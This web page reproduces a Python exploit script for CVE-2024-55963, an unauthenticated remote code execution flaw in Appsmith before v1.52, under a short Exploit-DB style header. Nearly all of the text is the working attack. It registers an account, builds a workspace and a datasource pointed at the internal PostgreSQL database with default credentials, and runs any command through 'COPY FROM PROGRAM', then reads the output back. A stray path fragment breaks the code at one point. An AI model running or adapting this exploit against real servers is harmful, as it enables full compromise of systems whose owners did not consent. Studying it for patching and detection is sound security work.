扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 |
# Exploit Title: AppSmith 1.47 - Remote Code Execution (RCE) # Original Author: Rhino Security Labs # Exploit Author: Nishanth Anand # Exploit Date: April 2, 2025 # Vendor Homepage: https://www.appsmith.com/ # Software Link: https://github.com/appsmithorg/appsmith # Version: Prior to v1.52 # Tested Versions: v1.47 # CVE ID: CVE-2024-55963 # Vulnerability Type: Remote Code Execution # Description: Unauthenticated remote code execution in Appsmith versions prior to v1.52 due to misconfigured PostgreSQL database allowing COPY FROM PROGRAM command execution. # Proof of Concept: Yes # Categories: Web Application, Remote Code Execution, Database # CVSS Score: 9.8 (Critical) # CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H # Notes: The vulnerability exists in Appsmith's internal PostgreSQL database configuration, allowing attackers to execute arbitrary commands on the host system. import requests import json import pyfiglet import argparse # Create a banner using pyfiglet banner = pyfiglet.figlet_format("Appsmith RCE")# Replace with your desired title print(banner) # Set up argument parser parser = argparse.ArgumentParser(description='Appsmith RCE Proof of Concept') parser.add_argument('-u', '--url', required=True, help='Base URL of the target') parser.add_argument('command', nargs='?', default='id', help='Command to execute') args = parser.parse_args() # Get the base URL and command from the parsed arguments base_url = args.url command_arg = args.command if not base_url.startswith("http://") and not base_url.startswith("https://"): base_url = "http://" + base_url # Signup request signup_url = f"{base_url}/api/v1/users" signup_data = { "email": "poc1@poc.com", "password": "Testing123!" } print('Signing up...') signup_response = requests.post(signup_url, data=signup_data) signup_response.raise_for_status() # Login request login_url = f"{base_url}/api/v1/login"# Adjust the URL as needed login_headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": base_url, "Connection": "keep-alive", "Referer": f"{base_url}/user/login", "Cookie": "ajs_user_id=e471142002a6163a3beff6ee71606ea55d631c49e566f403b0614af905ae951d; intercom-device-id-y10e7138=83f9c6a5-3c0b-409e-9d7b-9ca61a129f49; SESSION=1e786474-3b33-407d-be71-47d986031a24; ajs_anonymous_id=8e91142e-ea5a-4725-91b6-439e8bd0abc1; intercom-session-y10e7138=bHI4SnhSRFhmUUVLUXpGZ0V0R0lzUkZsSmxEQkFJKzRaV20wMGtnaGtJWjJoc1AySWV6Rnl2c1AvbUY4eEkxaC0tK1pqNHNKYlZxVzBib1F3NVhXK0poQT09--0daa2198fe17122d3291b90abdb3e78d193ad2ed", } login_data = { "username": "poc1@poc.com",# Adjusted to match the provided request "password": "Testing123!" } # Make the login request without following redirects print('Logging in...') login_response = requests.post(login_url, headers=login_headers, data=login_data, allow_redirects=False) login_response.raise_for_status() # Capture the 'Set-Cookie' header if it exists set_cookie = login_response.headers.get('Set-Cookie') if set_cookie: # Split the Set-Cookie header to get the cookie name and value cookie_name, cookie_value = set_cookie.split(';')[0].split('=') # Fourth request to create a new workspace print('Creating a new workspace...') if set_cookie: fourth_request_url = f"{base_url}/api/v1/workspaces" fourth_request_headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-By": "Appsmith", "Connection": "keep-alive", "Referer": f"{base_url}/applications", "Cookie": f"{cookie_name}={cookie_value}",# Use the captured session cookie } fourth_request_data = json.dumps({"name": "Untitled workspace 3"}) fourth_response = requests.post(fourth_request_url, headers=fourth_request_headers, data=fourth_request_data) fourth_response.raise_for_status() # Extract the 'id' from the response if it exists try: response_json = fourth_response.json() workspace_id = response_json.get("data", {}).get("id") except ValueError: print("Response content is not valid JSON:", fourth_response.text)# Print the raw response for debugging if workspace_id: fifth_request_url = f"{base_url}/api/v1/applications" fifth_request_headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-By": "Appsmith", "Content-Length": "161", "Origin": base_url, "Connection": "keep-alive", "Referer": f"{base_url}/applications?workspaceId={workspace_id}", "Cookie": f"{cookie_name}={cookie_value}", } fifth_request_data = json.dumps({"workspaceId":workspace_id,"name":"Untitled application 2","color":"#E3DEFF","icon":"chinese-remnibi","positioningType":"FIXED","showNavbar":None}) print('Creating a new application...') fifth_response = requests.post(fifth_request_url, headers=fifth_request_headers, data=fifth_request_data) fifth_response.raise_for_status() try: response_json = fifth_response.json() application_id = response_json.get("data", {}).get("id") except ValueError: print("Response content is not valid JSON:", fifth_response.text) # Sixth request to get workspace details if workspace_id: sixth_request_url = f"{base_url}/api/v1/workspaces/{workspace_id}" sixth_request_headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1", "Connection": "keep-alive", "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit", "Cookie": f"{cookie_name}={cookie_value}", } print('Getting workspace details...') sixth_response = requests.get(sixth_request_url, headers=sixth_request_headers) sixth_response.raise_for_status() # Extract all plugin IDs from the response try: response_json = sixth_response.json() plugin_ids = [plugin.get("pluginId") for plugin in response_json.get("data", {}).get("plugins", [])] # Loop through each plugin ID for the seventh request print(f'Searching for vulnerable postgres database...') for plugin_id in plugin_ids: # Seventh request to get the form data for the plugin seventh_request_url = f"{base_url}/api/v1/plugins/{plugin_id}/form" seventh_request_headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1", "Connection": "keep-alive", "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasources/NEW", "Cookie": f"{cookie_name}={cookie_value}", } try: seventh_response = requests.get(seventh_request_url, headers=seventh_request_headers) seventh_response.raise_for_status() # Extracting the port value from the seventh response try: seventh_response_json = seventh_response.json() if 'data' in seventh_response_json and 'form' in seventh_response_json['data']: form_data = seventh_response_json['data']['form'] if any("postgres" in str(item) for item in form_data): print(f"Vulnerable postgres database found.") break else: pass except (ValueError, IndexError) as e: pass except requests.exceptions.HTTPError as e: print(f"Error checking plugin {plugin_id}: {e}") continue # Proceed to request 8 after finding "postgres" # Proceed to request 8 after finding "postgres" if "postgres" in str(seventh_response_json): try: # Try the environments API endpoint eighth_request_url = f"{base_url}/api/v1/environments/workspaces/{workspace_id}?fetchDatasourceMeta=true" eighth_request_headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1", "Connection": "keep-alive", "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit", "Cookie": f"{cookie_name}={cookie_value}", } print('Getting the workspace details...') eighth_response = requests.get(eighth_request_url, headers=eighth_request_headers) eighth_response.raise_for_status() # Extracting the workspace ID from the eighth response try: eighth_response_json = eighth_response.json() workspace_data = eighth_response_json.get("data", [{}])[0] workspace_id_value = workspace_data.get("id") except (ValueError, IndexError): print("Response content is not valid JSON or does not contain the expected structure:", eighth_response.text) except requests.exceptions.HTTPError as e: # If the environments API fails, use the workspace ID we already have print(f"Could not fetch environment details: {e}") print("Using existing workspace ID for datasource creation...") workspace_id_value = workspace_id except (ValueError, IndexError): print("Response content is not valid JSON or does not contain enough plugins:", sixth_response.text) # After the eighth request to get workspace details if workspace_id_value: ninth_request_url = f"{base_url}/api/v1/datasources" ninth_request_headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-By": "Appsmith", "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1", "Origin": base_url, "Connection": "keep-alive", "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasource/temp-id-0?from=datasources&pluginId=671a669f4e7fe242d9885195", "Cookie": f"{cookie_name}={cookie_value}", } ninth_request_data = { "pluginId": plugin_id, "datasourceStorages": { workspace_id_value: { "datasourceConfiguration": { "properties": [None, {"key": "Connection method", "value": "STANDARD"}], "connection": { "mode": "READ_WRITE", "ssl": {"authType": "DEFAULT"} }, "endpoints": [{"port": "5432", "host": "localhost"}], "sshProxy": {"endpoints": [{"port": "22"}]}, "authentication": { "databaseName": "postgres", "username": "postgres", "password": "postgres" } }, "datasourceId": "", "environmentId": workspace_id_value, "isConfigured": True } }, "name": "Untitled datasource 1", "workspaceId": workspace_id } print('Connecting to vulnerable postgres database...') ninth_response = requests.post(ninth_request_url, headers=ninth_request_headers, json=ninth_request_data) ninth_response.raise_for_status() # Extracting the ID from the response try: ninth_response_json = ninth_response.json() datasource_id = ninth_response_json.get("data", {}).get("id") except (ValueError, KeyError): print("Response content is not valid JSON or does not contain the expected structure:", ninth_response.text) # After the ninth request to create the datasource if datasource_id: # 10th Request tenth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview" tenth_request_headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-By": "Appsmith", "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2", "Origin": base_url, "Connection": "keep-alive", "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3", "Cookie": f"{cookie_name}={cookie_value}", } tenth_request_data = { "title": "SELECT", "body": "create table poc (column1 TEXT);", "suggested": True } print("Creating the table 'poc'...") tenth_response = requests.post(tenth_request_url, headers=tenth_request_headers, json=tenth_request_data) tenth_response.raise_for_status() # 11th Request eleventh_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview" eleventh_request_headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-By": "Appsmith", "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2", "Origin": base_url, "Connection": "keep-alive", "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3", "Cookie": f"{cookie_name}={cookie_value}", } eleventh_request_data = { "title": "SELECT", "body": f"copy poc from program '{command_arg}';", "suggested": True }/CVE-2024-55963-Appsmith-RCE print("Running command...") eleventh_response = requests.post(eleventh_request_url, headers=eleventh_request_headers, json=eleventh_request_data) eleventh_response.raise_for_status() # 12th Request twelfth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"# Use the datasource_id twelfth_request_headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-By": "Appsmith", "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",# Use your actual anonymous user ID "Origin": base_url, "Connection": "keep-alive", "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3", "Cookie": f"{cookie_name}={cookie_value}",# Use the captured session cookie } # Request body for the 12th schema preview twelfth_request_data = { "title": "SELECT", "body": "select * from poc;", "suggested": True } # Print statement before the 12th request print("Reading command output from poc table...\n") # Make the POST request for the 12th schema preview twelfth_response = requests.post(twelfth_request_url, headers=twelfth_request_headers, json=twelfth_request_data) # Extracting and printing the response from the 12th schema preview try: twelfth_response_json = twelfth_response.json() # Extracting the specific data body_data = twelfth_response_json.get("data", {}).get("body", []) column1_values = [item.get("column1") for item in body_data]# Extract only the column1 values print("Command output:") print("----------------------------------------") for value in column1_values: print(value)# Print each column1 value print("----------------------------------------\n") except (ValueError, KeyError): print("Response content is not valid JSON or does not contain the expected structure:", twelfth_response.text)# Print the raw response for debugging # Cleanup Request cleanup_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"# Use the datasource_id cleanup_request_headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-By": "Appsmith", "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",# Use your actual anonymous user ID "Origin": base_url, "Connection": "keep-alive", "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3", "Cookie": f"{cookie_name}={cookie_value}",# Use the captured session cookie } # Request body for cleanup cleanup_request_data = { "title": "SELECT", "body": "DROP TABLE poc;",# Command to drop the table "suggested": True } # Make the POST request for the cleanup print('\nDropping the table...') cleanup_response = requests.post(cleanup_request_url, headers=cleanup_request_headers, json=cleanup_request_data) |
体验盒子
